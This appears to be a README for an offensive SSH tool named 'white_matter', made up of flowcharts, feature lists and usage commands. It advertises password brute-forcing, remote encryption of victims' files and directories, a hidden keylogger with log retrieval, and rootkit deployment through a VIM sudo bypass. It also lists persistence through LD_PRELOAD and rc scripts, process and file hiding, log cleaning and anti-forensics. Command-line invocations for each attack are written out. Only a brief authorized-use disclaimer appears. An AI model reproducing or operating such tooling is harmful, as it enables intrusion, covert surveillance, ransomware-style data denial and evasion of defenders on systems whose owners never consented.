This comprehensive SSH tool provides advanced capabilities for penetration testing, red team operations, and security research. It combines multiple techniques including RSA-4096 encryption, remote keylogging, rootkit deployment, and VIM-based privilege escalation.
flowchart TD
subgraph Local [Local System Attacker]
A[Local Host]
style A fill:#2c3e50,stroke:#34495e,color:white
end
subgraph Network [Network Level]
B[SSH Session Encrypted Connection]
style B fill:#7f8c8d,stroke:#95a5a6,color:white
end
subgraph Remote [Remote System Target]
C[Remote Host]
style C fill:#34495e,stroke:#2c3e50,color:white
end
subgraph Modules [Functional Modules]
D[RSA-4096 Encryption Module]
style D fill:#95a5a6,stroke:#7f8c8d,color:white
E[Keylogger Deployment Module]
style E fill:#bdc3c7,stroke:#ecf0f1,color:#2c3e50
F[Rootkit Deployment Module]
style F fill:#d7dbdd,stroke:#ecf0f1,color:#2c3e50
end
A -->|Initiates Connection| B
B -->|Establishes Secure Channel| C
A -->|Manages| D
A -->|Controls| E
A -->|Deploys| F
D -->|Encrypts/Decrypts Data| C
E -->|Intercepts Input| C
F -->|Injects Persistence| C
style Local fill:none,stroke:#666,stroke-width:1px
style Network fill:none,stroke:#666,stroke-width:1px
style Remote fill:none,stroke:#666,stroke-width:1px
style Modules fill:none,stroke:#666,stroke-width:1px
- Initialization: Establishes secure SSH connections with configurable ports
- Authentication: Supports password brute-forcing and public key authentication
- Session Handling: Robust connection management with proper cleanup
flowchart LR
A[Input File] --> B{RSA Encryption 4096-bit}
B --> C[Encrypted File<br/><sub>Ciphertext</sub>]
style A fill:#2c3e50,stroke:#34495e,color:white
style B fill:#7f8c8d,stroke:#95a5a6,color:white
style C fill:#34495e,stroke:#2c3e50,color:white
4096-bit RSA key generation
File and directory encryption/decryption
Secure key management
Support for both local and remote operations
flowchart LR
A[Keyboard Input Events] --> B{Keylogger Daemon}
B --> C[Encrypted Log File]
style A fill:#2c3e50,stroke:#34495e,color:white
style B fill:#7f8c8d,stroke:#95a5a6,color:white
style C fill:#34495e,stroke:#2c3e50,color:white
Stealth operation (daemon mode)
Remote log retrieval
Process hiding techniques
flowchart LR
A[Rootkit Source Code] --> B{Deployment Mechanisms}
B --> C[Kernel/Userland Integration]
style A fill:#2c3e50,stroke:#34495e,color:white
style B fill:#7f8c8d,stroke:#95a5a6,color:white
style C fill:#34495e,stroke:#2c3e50,color:white
VIM privilege escalation exploits
Direct kernel module loading
Userland LD_PRELOAD techniques
Multiple fallback mechanisms
flowchart LR
A[VIM Process] --> B{Sudo Bypass}
B --> C[Root Privilges]
style A fill:#2c3e50,stroke:#34495e,color:white
style B fill:#7f8c8d,stroke:#95a5a6,color:white
style C fill:#34495e,stroke:#2c3e50,color:white
VIM command execution bypass
Automated password injection
Root shell access
Module hiding/showing
./white_matter ip username -P passwords.txt# Encrypt remote file
./white_matter ip username -ef /path/to/file
# Encrypt remote directory
./white_matter ip username -ed /path/to/directory# Start keylogger
./white_matter ip username -K
# Download logs
./white_matter ip username -G /local/path/logs.txt# Deploy via VIM exploit
./white_matter ip username -deploy-rootkit-vim
# Load specific rootkit
./white_matter ip username -load-rootkit-vim-exploit /path/to/rootkit.ko- Initialize SSH Session
- Generate RSA Keys (if needed)
- Transfer File to Temporary Location
- Encrypt with RSA-4096
- Upload Encrypted File
- Cleanup Temporary Files
- Store Decryption Key Remotely
- Establish SSH Connection
- Compile Rootkit on Target
- Attempt Multiple Loading Methods:
- VIM Exploit (Primary)
- Direct Syscalls (Fallback)
- Userland Techniques (Secondary)
- Verify Module Loading
- Setup Persistence
- Cleanup Evidence
Encryption Security
Key Strength: 4096-bit RSA
Padding: OAEP padding for semantic security
Key Storage: Secure temporary storage with cleanup
Transport: Encrypted SSH channel for all operations
Stealth Techniques
Process hiding via kernel hooks
File hiding using advanced attributes
Log manipulation prevention
Anti-forensics measures
Persistence Mechanisms
System service installation
LD_PRELOAD manipulation
RC script modification
Hidden file replication
Network Level
SSH protocol encryption
Normal-looking traffic patterns
Randomized timing for operations
Encrypted payloads within SSH
Host Level
Hidden processes and files
Kernel module manipulation
Log cleaning capabilities
File attribute modification
Linux Distributions: Debian 12 (in future will extend)
Architectures: x86_64
Kernel Versions: 3.x - 6.x
SSH server on target
Basic utilities (gcc, make, vim)
Kernel headers (for rootkit compilation) (optional)
This tool is designed for:
Authorized penetration testing
Security research and education
Defensive security training
Warning: Unauthorized use of this tool is illegal. Always obtain proper permissions before testing systems.
-
libssh-dev - SSH client library
-
libssl-dev - OpenSSL cryptographic functions
-
pthread - Multi-threading support
gcc -o white_matter white_matter -lssh -lcrypto -lm -lpthreadflowchart TD
subgraph Main[White Matter Architecture]
direction TB
A[Core SSH Functions]
style A fill:#2c3e50,stroke:#34495e,color:white
B[RSA Encryption Engine]
style B fill:#34495e,stroke:#2c3e50,color:white
C[Keylogger System]
style C fill:#7f8c8d,stroke:#95a5a6,color:white
D[Rootkit Framework]
style D fill:#95a5a6,stroke:#7f8c8d,color:white
E[VIM Exploit Module]
style E fill:#bdc3c7,stroke:#ecf0f1,color:#2c3e50
F[Utility Functions]
style F fill:#d7dbdd,stroke:#ecf0f1,color:#2c3e50
end
style Main fill:none,stroke:#666,stroke-width:2px
